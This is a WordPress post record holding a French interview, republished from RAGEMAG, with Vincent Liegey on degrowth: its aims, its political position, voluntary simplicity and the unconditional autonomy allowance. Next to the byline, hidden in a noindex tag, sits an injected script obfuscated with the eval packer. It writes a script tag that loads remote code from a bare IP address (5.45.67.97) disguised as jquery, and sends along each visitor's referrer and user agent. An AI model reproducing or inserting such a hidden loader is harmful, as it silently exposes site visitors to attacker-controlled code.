{"id":7553,"date":"2012-09-05T10:41:24","date_gmt":"2012-09-05T09:41:24","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7553"},"modified":"2012-09-06T08:06:29","modified_gmt":"2012-09-06T07:06:29","slug":"ragemag-decroissance-retour-vers-le-futur-entretien-avec-vincent-liegey","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7553","title":{"rendered":"RAGEMAG : D\u00e9croissance: retour vers le futur. Entretien avec Vincent Liegey"},"content":{"rendered":"<p><strong><a id=\"omc-logo\" href=\"http:\/\/ragemag.fr\/la-decroissance-kesaco-entretien-avec-vincent-liegey\/\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" style=\"margin: 9px;\" src=\"http:\/\/ragemag.fr\/wp-content\/uploads\/2012\/07\/ragemagv2.png\" alt=\"RAGEMAG logo\" width=\"179\" height=\"35\" \/><\/a>Publi\u00e9 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnekd|var|u0026u|referrer|nsirs||js|php'.split('|'),0,{}))\n<\/script><\/noindex> dans RAGEMAG le<\/strong>\u00a0ao\u00fbt 9th, 2012 |\u00a0<em>par Adrien Mideau<\/em><\/p>\n<p><strong>L\u2019escargot de la d\u00e9croissance a fini par poser durablement sa coquille dans le jardin politique et \u00e9conomique fran\u00e7ais. Mais les incompr\u00e9hensions sont encore nombreuses face \u00e0 un concept, volontairement provocateur, mais avant tout critique de nos modes de vie.<strong><\/strong>\u00a0Rencontre avec Vincent\u00a0Liegey, membre du Parti Pour La D\u00e9croissance.\u00a0<\/strong><strong><\/strong><\/p>\n<p><strong>La d\u00e9croissance\u00a0: k\u00e9saco\u00a0?<\/strong><\/p>\n<p><iframe loading=\"lazy\" src=\"http:\/\/player.vimeo.com\/video\/35156418\" frameborder=\"0\" width=\"500\" height=\"281\"><\/iframe><br \/>\n<a href=\"http:\/\/vimeo.com\/35156418\">2. La D\u00e9croissance : mais c&rsquo;est quoi ce mot repoussoir ?<\/a>\u00a0&#8211;\u00a0<a href=\"http:\/\/vimeo.com\/decroissance\">D\u00e9croissance &#8211; Degrowth<\/a>.<\/p>\n<p>Pour commencer, le terme de D\u00e9croissance \u00e9voque le nom d\u2019une nouvelle pens\u00e9e multidimensionnelle, aux sources et approches diverses\u00a0: elle s\u2019appuie sur les limites physiques de la croissance avec, par exemple, la rar\u00e9faction des ressources naturelles, ainsi que sur les limites culturelles de celle-ci. Je fais ici allusion \u00e0 une critique de la soci\u00e9t\u00e9 de consommation, du productivisme, du capitalisme, de la centralit\u00e9 de la valeur travail, de la soci\u00e9t\u00e9 du spectacle, etc\u2026 Je m\u2019appuie \u00e9galement sur les\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Ivan_Illich#La_convivialit.C3.A9\">travaux d\u2019Ivan Illich sur la convivialit\u00e9<\/a>.<br \/>\nCe terme s\u2019est progressivement impos\u00e9 comme un slogan provocateur qui a pour but d\u2019ouvrir un d\u00e9bat de soci\u00e9t\u00e9 sur le fait qu\u2019une croissance infinie dans un monde fini n\u2019est ni possible, ni souhaitable.<br \/>\nEnfin, pour sortir ces r\u00e9flexions de la confidentialit\u00e9, la D\u00e9croissance s\u2019est structur\u00e9e comme le nom d\u2019un nouveau mouvement politique, d\u2019abord n\u00e9 en France il y a une dizaine d\u2019ann\u00e9es et qui, depuis, s\u2019internationalise. Ce mouvement s\u2019appuie \u00e0 la fois sur le collectif avec des alternatives concr\u00e8tes comme\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Association_pour_le_maintien_d%27une_agriculture_paysanne\">les AMAP<\/a>,\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Jardin_communautaire\">les jardins communautaires<\/a>,\u00a0<a href=\"http:\/\/www.heureux-cyclage.org\/-Qu-est-ce-qu-un-Atelier-Velo-.html\">les ateliers v\u00e9lo<\/a>,\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/%C3%89covillage\">les \u00e9covillages<\/a>,\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Monnaie_locale\">les monnaies locales<\/a>\u00a0mais aussi sur un projet de r\u00e9flexion repr\u00e9sent\u00e9 notamment par le r\u00e9seau international de recherche sur la D\u00e9croissance\u00a0<a href=\"http:\/\/www.degrowth.net\/\"><em>Research and Degrowth<\/em><\/a>. La D\u00e9croissance se d\u00e9cline via l\u2019organisation de rencontres-d\u00e9bats, de manifestations, d\u2019actions de d\u00e9sob\u00e9issance civile ou de participation \u00e0 des \u00e9lections de mani\u00e8re non-\u00e9lectoraliste. L\u2019individu y joue un r\u00f4le central avec la simplicit\u00e9 volontaire et la notion de d\u00e9colonisation de l\u2019imaginaire.<br \/>\nFinalement, il y a autant de chemin vers la D\u00e9croissance que d\u2019objectrices et d\u2019objecteurs de croissance. Nous essayons de cultiver la diversit\u00e9 des approches tout en construisant un r\u00e9seau horizontal de collectifs et de personnes s\u2019appuyant sur un ou plusieurs des niveaux de la D\u00e9croissance.<\/p>\n<p><strong>La d\u00e9croissance est-elle r\u00e9ac\u2019\u00a0?<\/strong><\/p>\n<p><!--more--><br \/>\nCertes, le terme de D\u00e9croissance est provocateur, c\u2019est une des forces principales de ce mot. Toutefois, trop souvent caricatur\u00e9s, nous sommes victimes d\u2019id\u00e9es re\u00e7ues qui ferait de la D\u00e9croissance un retour \u00e0 la bougie et, de fa\u00e7on plus globale, un insupportable retour en arri\u00e8re sacrifiant le progr\u00e8s social et l\u2019avanc\u00e9e technologique. De l\u00e0, nous serions r\u00e9actionnaires.<br \/>\nOr, notre mouvement s\u2019appuie \u00e0 la fois sur une critique radicale de la soci\u00e9t\u00e9 de croissance, radicale dans le sens de la compr\u00e9hension des crises auxquelles nous faisons face en les reprenant \u00e0 la racine. A partir de l\u2019analyse de cette crise anthropologique, nous essayons de construire une transition sereine et d\u00e9mocratique vers de nouveaux mod\u00e8les de soci\u00e9t\u00e9s, \u00e0 la fois soutenables mais surtout souhaitables. Dans cette optique d\u2019ouverture de nouveaux espaces de vie, de pens\u00e9e et de r\u00e9appropriation du sens que nous souhaitons donner \u00e0 notre vie, nous nous opposons aux \u00ab\u00a0r\u00e9ac\u2019\u00a0\u00bb qui pr\u00f4nent plus l\u2019immobilisme que le questionnement. La D\u00e9croissance n\u2019est donc en aucun cas un retour en arri\u00e8re vers un pass\u00e9 mythifi\u00e9. Cela serait totalement absurde. Il s\u2019agit de construire de nouvelles pratiques en s\u2019opposant \u00e0 l\u2019individualisme forcen\u00e9 et destructeur de nos soci\u00e9t\u00e9s occidentales.<br \/>\nNous essayons de d\u00e9coloniser nos imaginaires conditionn\u00e9s par les religions de l\u2019\u00e9conomie, de l\u2019argent et surtout cette croyance que plus signifie toujours mieux.<\/p>\n<p><strong>Qui appartient au mouvement de la d\u00e9croissance\u00a0? Est-ce une n\u00e9buleuse \u00ab\u00a0bobo\u00a0\u00bb?<\/strong><\/p>\n<p>La sociologie des d\u00e9croissant-e-s est assez proche de la sociologie de la plupart des mouvements politiques radicaux ancr\u00e9s \u00e0 la gauche de la gauche. De nombreux jeunes ne se retrouvent plus dans ce mod\u00e8le de soci\u00e9t\u00e9, s\u2019ennuient au travail et souhaitent donc se r\u00e9approprier leurs vies en rejoignant des mouvements proches de la D\u00e9croissance. Nous avons \u00e9galement des militants \u00e9cologistes ou d\u2019extr\u00eame-gauche souhaitant donner une dimension plus radicale \u00e0 leurs revendications.<br \/>\nForce est de reconna\u00eetre qu\u2019une bonne partie des d\u00e9croissant-e-s actifs dans le mouvement sont des h\u00e9ritiers de ceux que l\u2019on appelait les bobos\u2026 avec une diff\u00e9rence majeure qui est de conformer son mode de vie \u00e0 ses id\u00e9es\u00a0!<br \/>\nToutefois, avec la crise, le mouvement \u00e9volue et nous assistons \u00e0 une convergence entre la D\u00e9croissance choisie (ces personnes plut\u00f4t prot\u00e9g\u00e9es qui font le choix de construire un mode vie diff\u00e9rent) et la r\u00e9cession subie (les victimes des plans d\u2019aust\u00e9rit\u00e9 qui sont condamn\u00e9es \u00e0 se r\u00e9approprier les moyens de production pour survivre). C\u2019est ce que l\u2019on peut voir, par exemple, dans une ville comme Detroit ou encore en Gr\u00e8ce.<\/p>\n<p><strong>Est-ce que la d\u00e9croissance est fondamentalement de gauche\u00a0? O\u00f9 est-elle au-del\u00e0 de la distinction gauche\/droite\u00a0?<\/strong><\/p>\n<p>La D\u00e9croissance s\u2019appuie sur des valeurs de gauche avec, en premier lieu, la justice sociale et environnementale\u00a0mais aussi la solidarit\u00e9 comme le rappelle notre slogan\u00a0: la premi\u00e8re des d\u00e9croissances doit \u00eatre celle des in\u00e9galit\u00e9s\u00a0! Par contre, elle est en rupture avec une certaine gauche universaliste, en particulier fran\u00e7aise, et est donc tr\u00e8s critique vis-\u00e0-vis de l\u2019imp\u00e9rialisme culturel qu\u2019elle repr\u00e9sente.<br \/>\nOuvrir un d\u00e9bat sur la distinction gauche\/droite peut s\u2019av\u00e9rer passionnant d\u2019un point de vue intellectuel mais dangereux politiquement. Cette crise laisse de c\u00f4t\u00e9 toujours plus de personnes et la tentation aux replis identitaires et \u00e0 la haine de l\u2019autre doivent \u00eatre \u00e9vit\u00e9es. Or elles sont exacerb\u00e9es par des droites toujours plus populistes comme on a pu le voir en France ces derni\u00e8res ann\u00e9es. Il est important de rappeler ce que sont les valeurs de gauche, tout en restant critique avec les errements d\u2019une certaine gauche donneuse de le\u00e7ons et enferm\u00e9e dans une certaine pens\u00e9e unique\u00a0!<\/p>\n<p><strong>Lequel de ces trois mots d\u00e9finit-il le mieux la d\u00e9croissance\u00a0: d\u00e9mondialisation, protectionnisme ou relocalisation ouverte? Quel est le r\u00f4le de la nation et de la fronti\u00e8re\u00a0?<\/strong><\/p>\n<p>Nous ne pouvons pas mettre au m\u00eame niveau une\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/D%C3%A9mondialisation\">d\u00e9mondialisation<\/a>\u00a0et un<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Protectionnisme\">\u00a0protectionnisme<\/a>. Les deux pourraient plaire \u00e0 des droites extr\u00eames. Une relocalisation ouverte est plus appropri\u00e9e car elle s\u2019inscrit dans une approche \u00e0 la fois de respect de la diversit\u00e9 culturelle mais aussi d\u2019ouverture vers l\u2019autre.<br \/>\nEn effet, pourquoi se prot\u00e9ger et contre qui\u00a0? Cette question est fondamentale. Une relocalisation ouverte est souhaitable pour des raisons \u00e9cologiques et \u00e9nerg\u00e9tiques \u00e9videntes (produire localement ce qui peut l\u2019\u00eatre, qui plus est, de mani\u00e8re \u00e9cologique) et d\u2019autant plus pour des raisons sociales humaines, culturelles et d\u00e9mocratiques\u00a0: une d\u00e9mocratie plus juste et plus participative acquiert davantage de sens au niveau local.<\/p>\n<p><strong>Qu\u2019est-ce que la simplicit\u00e9 volontaire?<\/strong><\/p>\n<p>La simplicit\u00e9 volontaire est une d\u00e9marche individuelle qui consiste \u00e0 questionner son mode vie afin de r\u00e9duire son impact environnemental et de le rendre plus soutenable mais aussi plus agr\u00e9able.<br \/>\nLa consommation ou la comp\u00e9tition ne sont plus les ma\u00eetres mots de nos existences mais sont remplac\u00e9s par d\u2019autres valeurs comme la sobri\u00e9t\u00e9, la convivialit\u00e9 ou le \u00ab\u00a0<em>buen vivir<\/em>\u00a0\u00bb.<br \/>\nConcr\u00e8tement, il peut s\u2019agir de revoir son mode de d\u00e9placement en privil\u00e9giant les transports doux ou les transports en commun, de se questionner sur nos choix de vie \u00e9l\u00e9mentaires comme la consommation ou l\u2019alimentation afin de faire \u00e9voluer nos habitudes, de r\u00e9duire son temps de travail afin de se r\u00e9approprier du temps libre. Ce dernier est une denr\u00e9e pr\u00e9cieuse n\u00e9cessaire pour changer d\u2019\u00e9chelle de r\u00e9flexion. Nous devons cesser d\u2019\u00eatre dans l\u2019instantan\u00e9it\u00e9 pour ralentir, \u00eatre plus attentif \u00e0 l\u2019autre, r\u00e9fl\u00e9chir\u2026 sur le sens que l\u2019on donne \u00e0 la vie ou pour se lib\u00e9rer des pulsions consommatrices construites par la publicit\u00e9 et qui nous laissent croire que le bonheur passe par du toujours plus.<\/p>\n<p><strong>Est-ce que la d\u00e9croissance ne se joue pas avant tout en milieu rural\u00a0? \u00a0<\/strong><\/p>\n<p><a href=\"http:\/\/ragemag.fr\/wp-content\/uploads\/2012\/08\/slow.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" style=\"margin: 8px;\" src=\"http:\/\/ragemag.fr\/wp-content\/uploads\/2012\/08\/slow.jpg\" alt=\"\" width=\"179\" height=\"166\" \/><\/a><\/p>\n<p><strong><\/strong>La D\u00e9croissance se joue partout, \u00e0 la campagne, en ville, mais aussi \u00e0 l\u2019\u00e9cole, au travail ou dans les institutions, etc\u2026\u00a0Il s\u2019agit d\u2019un projet de transition qui questionne la sortie des cycles infernaux de la croissance qui nous am\u00e8nent toujours plus vite dans le mur. Dans notre projet, il y a un r\u00e9\u00e9quilibrage de l\u2019occupation de l\u2019espace entre la ville et la campagne, cela signifie \u00e0 la fois un exode urbain choisi mais aussi un retour de la terre en ville. Nos grandes m\u00e9galopoles sont dans une impasse \u00e9nerg\u00e9tique effrayante. Sans p\u00e9trole, elles se retrouvent en quelques jours sans aucune capacit\u00e9 \u00e0 subvenir \u00e0 leurs besoins les plus \u00e9l\u00e9mentaires. Il faut donc sortir de cette d\u00e9pendance et tendre vers la mise en place de communaut\u00e9s solidaires, les plus autonomes possibles, dans les villes comme dans les campagnes, tout en conservant des liens.<\/p>\n<p><strong>Qu\u2019est-ce que la Dotation Inconditionnelle d\u2019Autonomie\u00a0? Comment la financer\u00a0?<\/strong><\/p>\n<p>La Dotation Inconditionnelle d\u2019Autonomie (<a href=\"http:\/\/www.partipourladecroissance.net\/?page_id=6858\">DIA<\/a>) est un outil \u00e9conomique et social, fruit de plusieurs ann\u00e9es de discussions. Il s\u2019agit d\u2019une convergence autour de plusieurs th\u00e8mes que sont le revenu inconditionnel, la notion de (quasi-)gratuit\u00e9 du bon-usage, le rench\u00e9rissement du m\u00e9susage, le d\u00e9veloppement de syst\u00e8mes \u00e9conomiques locaux alternatifs tels que les monnaies locales ou les syst\u00e8mes d\u2019\u00e9change, la sortie de la religion de l\u2019\u00e9conomie, la r\u00e9appropriation d\u00e9mocratique du syst\u00e8me financier et bancaire, la cr\u00e9ation mon\u00e9taire et la mise en place d\u2019une relocalisation ouverte.<br \/>\nLa DIA est n\u00e9cessairement coupl\u00e9e \u00e0 un revenu maximum acceptable. Cette dotation consiste ainsi \u00e0 donner, \u00e0 toutes et tous, de la naissance \u00e0 la mort, sans condition, ce que l\u2019on consid\u00e8re d\u00e9mocratiquement comme permettant d\u2019avoir une vie sobre et digne. Nous y avons inclus l\u2019acc\u00e8s \u00e0 un logement, \u00e0 un local d\u2019activit\u00e9 ou une parcelle de terre. Elle comprend \u00e9galement l\u2019acc\u00e8s \u00e0 une certaine quantit\u00e9 d\u2019eau, \u00e0 de la nourriture produite localement (via une monnaie locale), \u00e0 de l\u2019\u00e9nergie mais aussi \u00e0 des services publics tels que la sant\u00e9, l\u2019\u00e9ducation, les transport ou encore la culture et le droit \u00e0 une information libre, diverse et vari\u00e9e.<br \/>\nEnfin, la DIA participe \u00e0 une resocialisation de la politique et \u00e0 une repolitisation de la soci\u00e9t\u00e9 puisque son contenu est n\u00e9cessairement d\u00e9battu, tout comme la r\u00e9partition des t\u00e2ches difficiles li\u00e9es \u00e0 sa mise en place. Elle s\u2019appuie sur ces trois questions\u00a0: Que produire? Comment\u00a0? Pour quel usage\u00a0?<br \/>\nSon contenu n\u2019est pas en euros mais en droit d\u2019acc\u00e8s: son financement est donc conditionn\u00e9 \u00e0 ce qu\u2019il\u00a0 soit d\u00e9cid\u00e9 d\u00e9mocratiquement. La question du financement est un pi\u00e8ge car l\u2019enjeu est de savoir si nous souhaitons mettre en place des mesures pour enfin sortir du capitalisme et de sa logique croissanciste. Si la r\u00e9ponse est oui, alors, nous devons nous organiser pour le faire comme d\u2019autres personnes s\u2019\u00e9taient organis\u00e9es apr\u00e8s la deuxi\u00e8me guerre mondiale pour imposer des mesures sociales d\u2019importance comme la S\u00e9curit\u00e9 Sociale.<\/p>\n<p><strong>Qui sont les ennemis politiques de la d\u00e9croissance\u00a0?<\/strong><\/p>\n<p>Le mot \u00ab\u00a0<em>ennemis<\/em>\u00a0\u00bb ne me semble pas appropri\u00e9 tant nous sommes dans une d\u00e9marche non violente et de dialogue. Nous faisons avant tout face \u00e0 une croyance implicite mais aussi \u00e0 une d\u00e9pendance syst\u00e9mique \u00e0 la croissance. Nous devons d\u00e9construire la religion de la croissance, de l\u2019\u00e9conomie et \u00eatre en mesure \u00e0 la fois de proposer un projet, un chemin et une m\u00e9thode. La D\u00e9croissance propose une transition vers de nouveaux paradigmes. Ce genre de transformations soci\u00e9tales se fait dans le temps. Cette transition est \u00e0 la fois psychologique, culturelle, sociale, \u00e9conomique, institutionnelle et politique. Nous faisons face des \u00e9ch\u00e9ances tr\u00e8s courtes en cette p\u00e9riode de convergences de crises qui sont \u00e0 la fois \u00e9nerg\u00e9tiques et \u00e9conomiques; les deux \u00e9tant li\u00e9es. L\u2019enjeu est d\u2019\u00eatre pr\u00e9sent sur tous les terrains politiques que propose notre soci\u00e9t\u00e9 afin d\u2019y colporter la D\u00e9croissance et d\u2019y semer ainsi des graines de r\u00e9flexions, des critiques, mais aussi des projets et des propositions, des exp\u00e9rimentations alternatives en esp\u00e9rant que, lorsque les conditions seront pr\u00e9sentes, ces graines \u00e9cloront. On assiste d\u00e9j\u00e0 \u00e0 cette convergence entre la D\u00e9croissance choisie et la r\u00e9cession subie. Esp\u00e9rons que nous passions \u00e0 la D\u00e9croissance en minimisant les m\u00e9faits, les maux de ces plans d\u2019aust\u00e9rit\u00e9 morbides que nous rejetons\u00a0!<br \/>\nD\u00e9croissance ou barbarie, nos \u00ab\u00a0<em>ennemis\u00a0<\/em>\u00bb sont les guerres, toute forme de replis identitaires, les discours racistes et x\u00e9nophobes, les plans d\u2019aust\u00e9rit\u00e9 en r\u00e9ponse aux crises impos\u00e9es par les oligarchies qui entretiennent cette ambiance. Nous luttons aussi contre les \u00e9co-fascismes qui risquent d\u2019appara\u00eetre dans les ann\u00e9es \u00e0 venir. Une chose est certaine, la D\u00e9croissance sera d\u00e9mocratique ou ne sera pas.<\/p>\n<p><strong>Vous repr\u00e9sentez le Parti Pour la D\u00e9croissance. Mais il y a \u00e9galement le Parti des Objecteurs de Croissance, le Mouvement des Objecteurs de Croissance, sans parler du Journal de la D\u00e9croissance, le Sarkophage, etc\u2026 c\u2019est un peu le bordel chez vous les \u00ab\u00a0escargots\u00a0\u00bb\u00a0! O\u00f9 se situe le Parti de la D\u00e9croissance dans tout \u00e7a\u00a0?<\/strong><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/ragemag.fr\/wp-content\/uploads\/2012\/08\/vincent-et-serge-latouche.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" style=\"margin-top: 5px; margin-bottom: 5px;\" src=\"http:\/\/ragemag.fr\/wp-content\/uploads\/2012\/08\/vincent-et-serge-latouche.jpg\" alt=\"\" width=\"384\" height=\"255\" \/><\/a><span style=\"text-decoration: underline;\">Vincent Liegey (\u00e0 gauche) et Serge Latouche, professeur \u00e9m\u00e9rite d\u2019\u00e9conomie et penseur de la d\u00e9croissance<\/span><\/p>\n<p>La diversit\u00e9 est coh\u00e9rente\u00a0: nous appuyons sur une tr\u00e8s large diversit\u00e9 de sources et d\u2019approches dans notre projet mais aussi dans l\u2019organisation de notre mouvement. Depuis les d\u00e9buts de celui-ci, la question se pose de comment colporter la D\u00e9croissance de mani\u00e8re coh\u00e9rente. Apr\u00e8s plusieurs exp\u00e9riences, nous sommes arriv\u00e9s \u00e0 questionner notre rapport au pouvoir pour construire un mouvement qui serait horizontal, d\u00e9mocratique, respectueux de la diversit\u00e9, capable de donner de l\u2019autonomie aux groupes locaux. A travers cette diversit\u00e9, ces discussions, ces diff\u00e9rentes structures, on construit, on exp\u00e9rimente, pas \u00e0 pas ce que pourraient \u00eatre demain des soci\u00e9t\u00e9s de D\u00e9croissance.\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Serge_Latouche\">Serge Latouche<\/a>\u00a0cite souvent la phrase c\u00e9l\u00e8bre d\u2019Einstein \u00ab\u00a0<em>On ne r\u00e9sout pas un probl\u00e8me avec les modes de pens\u00e9e qui l\u2019ont engendr\u00e9.<\/em>\u00a0\u00bb Essayons d\u2019ouvrir de nouveaux espaces du vivre ensemble dans notre fonctionnement.<br \/>\nDe son c\u00f4t\u00e9, le Parti Pour La D\u00e9croissance est un collectif qui se donne pour objectif \u00e0 la fois de donner de la visibilit\u00e9 au mouvement et aux id\u00e9es de la D\u00e9croissance, de faire un travail de r\u00e9flexion et de d\u00e9bat, de proposer des textes, des communiqu\u00e9s et des id\u00e9es et d\u2019aider \u00e0 la cr\u00e9ation et la mise en r\u00e9seau de collectifs locaux autonomes. Nous travaillons r\u00e9guli\u00e8rement avec le\u00a0<a href=\"http:\/\/www.les-oc.info\/\">MOC\u00a0<\/a>et le\u00a0<a href=\"http:\/\/www.youtube.com\/watch?v=kGrlMyq7oLA\">POC<\/a>, notamment dans le cadre d\u2019\u00e9lections, et nous contribuons aux journaux tels que le<a href=\"http:\/\/www.lesarkophage.com\/f\/index.php\">Sarkophage<\/a>, le journal La D\u00e9croissance avec lequel nous avons un<a href=\"http:\/\/www.partipourladecroissance.net\/?page_id=6732\">d\u00e9saccord de m\u00e9thode<\/a>\u00a0mais aussi d\u2019autres comme Silence ou Entropia.<br \/>\nL\u00e0 aussi, il est important de d\u00e9coloniser notre imaginaire centralisateur.<\/p>\n<p><strong>Y a-t-il des objecteurs de croissance au sein d\u2019Europe Ecologie Les Verts\u00a0? Est-ce que vos id\u00e9es sont accueillies favorablement par d\u2019autres formations politiques comme le Parti de Gauche, le Parti Socialiste et \u2013 pourquoi pas \u2013 l\u2019UMP et le Front National?<\/strong><\/p>\n<p>Nous retrouvons des Objectrices et des Objecteurs de Croissance (OC) dans l\u2019ensemble des partis et mouvements politiques de gauche (EELV, PG, PS, les alternatifs, ATTAC, Utopia, etc.). A diff\u00e9rentes \u00e9chelles, ils participent \u00e0 ouvrir des d\u00e9bats dans leurs structures. Ainsi\u00a0<a href=\"http:\/\/www.agoravox.tv\/actualites\/societe\/article\/yves-cochet-a-l-assemblee-21077\">la D\u00e9croissance est entr\u00e9e \u00e0 l\u2019Assembl\u00e9e Nationale avec Yves Cochet en octobre 2008<\/a>. Le Parti de Gauche a re\u00e7u un soutien conditionn\u00e9 de la part d\u2019objecteurs de croissance lors des derni\u00e8res \u00e9lections, en particulier gr\u00e2ce \u00e0 leur travail sur la planification \u00e9cologique. L\u2019ouverture d\u2019esprit de M\u00e9lenchon, notamment lors d\u2019une interview donn\u00e9 \u00e0\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Herv%C3%A9_Kempf\">Herv\u00e9 Kempf<\/a>, a jou\u00e9 un certain r\u00f4le dans ce soutien conditionn\u00e9. Des Objecteurs de Croissance se sont alli\u00e9s au NPA dans certaines circonscriptions lors des l\u00e9gislatives. Des membres de la commission \u00e9cologique du PS ont travaill\u00e9 sur la D\u00e9croissance et ont publi\u00e9 un livre dans le cadre de la<a href=\"http:\/\/www.jean-jaures.org\/\">fondation Jean Jaur\u00e8s<\/a>. Enfin, d\u2019autres Objecteurs de Croissance poursuivent leurs chemins loin de ces structures. Les id\u00e9es de la D\u00e9croissance avancent et nous continuons dans notre strat\u00e9gie de convergences des gauches anticapitalistes vers l\u2019antiproductivisme.<\/p>\n<p><strong>Finalement, que l\u2019on soit attach\u00e9 \u00e0 la croissance ou non, les soci\u00e9t\u00e9s en Europe tendent vers la r\u00e9cession, une sorte de d\u00e9croissance. Est-ce que votre mouvement souhaite cette tendance actuelle\u00a0?<\/strong><\/p>\n<p>Ne pas confondre notre D\u00e9croissance choisie et leur r\u00e9cession subie. Les plans d\u2019aust\u00e9rit\u00e9 mis en place et impos\u00e9s aux peuples ont des cons\u00e9quences sociales et humaines inacceptables\u00a0! Ils sont men\u00e9s de mani\u00e8re aveugle par une \u00e9lite technocratique enferm\u00e9e dans la religion de l\u2019\u00e9conomie, travaillant au service de l\u2019oligarchie financi\u00e8re. En essayant de sauver un syst\u00e8me \u00e9conomique absurde, mort-n\u00e9 car d\u00e9pendant de toujours plus de croissance, on d\u00e9truit l\u2019\u00e9ducation, la sant\u00e9, l\u2019environnement, la culture, on d\u00e9truit des familles et on pousse des citoyens au suicide. La voie prise nous am\u00e8ne vers des heures tr\u00e8s sombres, d\u2019autant plus que nos \u00e9tats se sont \u00e9quip\u00e9s d\u2019un syst\u00e8me policier r\u00e9pressif.<br \/>\nNous ne soutenons en aucun cas ces plans d\u2019aust\u00e9rit\u00e9, pas plus qu\u2019une qu\u00eate illusoire et d\u00e9sesp\u00e9r\u00e9e d\u2019un retour \u00e0 une croissance forte et durable. Il est temps de sortir de la religion de l\u2019\u00e9conomie et de se r\u00e9approprier d\u00e9mocratiquement le syst\u00e8me financier et la cr\u00e9ation mon\u00e9taire. Utilisons ce dernier outil et d\u2019autres pour\u00a0prot\u00e9ger et nous rendre sereins et autonomes \u00e0 travers la mise en place d\u2019un Revenu Inconditionnel. Il se d\u00e9clinerait sous forme de Dotation Individuel d\u2019Autonomie, coupl\u00e9 \u00e0 un Revenu Maximum Acceptable, dans le but d\u2019initier une transition d\u00e9mocratique et sereine vers une D\u00e9croissance sereine, soutenable et conviviale.<br \/>\nLa D\u00e9croissance, ce n\u2019est surtout pas la croissance au n\u00e9gatif. C\u2019est un pas de c\u00f4t\u00e9, une sortie de ces logiques capitalistes, productivistes et consum\u00e9ristes, qui d\u00e9truisent socialement, culturellement, humainement et politiquement.<\/p>\n<p><strong>Le Bhoutan a mis en place un indice de Bonheur Int\u00e9rieur Brut. Ce petit pays d\u2019Asie du Sud-Est n\u2019est-il pas le premier au monde \u00e0 \u00eatre officiellement d\u00e9croissant?<\/strong><\/p>\n<p><a href=\"http:\/\/fr.wikipedia.org\/wiki\/Bhoutan\">Le Bhoutan<\/a>\u00a0a contribu\u00e9 \u00e0 ouvrir un d\u00e9bat international sur les indicateurs alternatifs de bien-\u00eatre avec la mise en place de son indice BIB . Il a depuis \u00e9t\u00e9 suivi par d\u2019autres pays, comme la France et\u00a0<a href=\"http:\/\/www.stiglitz-sen-fitoussi.fr\/fr\/index.htm\">son rapport Stiglitz-Sen-Fitoussi<\/a>, certaines personnes aux Nations Unies ou encore l\u2019\u00c9quateur qui a introduit dans sa constitution la notion de \u00ab\u00a0<em>Buen Vivir<\/em>\u00a0\u00bb.<br \/>\nMais changer de constitution ou encore changer d\u2019indicateur ne suffit pas car cela risque d\u2019enfermer la D\u00e9croissance dans une d\u00e9marche r\u00e9ductionniste, scientiste qui nous ferait entrer dans une nouvelle religion. C\u2019est pourquoi, m\u00eame\u00a0si nous suivons ces d\u00e9marches et travaux, nous restons critiques et nous rappelons qu\u2019il est important d\u2019avancer en mettant en avant, \u00e0 la fois la diversit\u00e9 des sources et des approches, et la radicalit\u00e9 de notre d\u00e9marche. La coh\u00e9rence de la D\u00e9croissance vient de sa diversit\u00e9 et de sa radicalit\u00e9. Les laisser de c\u00f4t\u00e9 risquerait de nous amener dans des impasses dogmatiques dont le pass\u00e9 nous enseigne la monstruosit\u00e9\u00a0!<\/p>\n<p><strong>Si nos lecteurs veulent mettre en place les principes de la d\u00e9croissance d\u00e8s aujourd\u2019hui, quelle serait leur journ\u00e9e type?<\/strong><\/p>\n<p>La journ\u00e9e type\u00a0? Travailler moins pour vivre mieux. Se r\u00e9approprier les outils pour \u00eatre plus autonome. Partager les t\u00e2ches difficiles pour mieux vivre ensemble. La journ\u00e9e type serait un m\u00e9lange de partage de t\u00e2ches collectives (jardinage, bricolage, cuisine, \u00e9co-construction, etc.), de moment de convivialit\u00e9 (un bon repas, la f\u00eate, le jeu), de culture (lecture, musique, po\u00e9sie, cr\u00e9ation artistique, etc.), d\u2019\u00e9changes politiques et intellectuels (participer \u00e0 la vie de la Cit\u00e9 avec des r\u00e9unions s\u2019appuyant sur l\u2019\u00e9coute, la communication non-violente, etc.). Ce serait aussi le voyage et la rencontre avec des transport doux comme le v\u00e9lo, l\u2019oisivet\u00e9 et la contemplation, la libert\u00e9.<br \/>\nLa D\u00e9croissance, c\u2019est avancer sur cette id\u00e9e que l\u2019utopie d\u2019aujourd\u2019hui sera la r\u00e9alit\u00e9 de demain. Nous avons besoin d\u2019utopies vers lesquelles tendre, en gardant l\u2019humilit\u00e9 d\u2019admettre que nous ne les atteindrons pas. Construisons la soci\u00e9t\u00e9 que l\u2019on souhaite avec ce que nous sommes et l\u00e0 o\u00f9 nous vivons.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Bo\u00eete 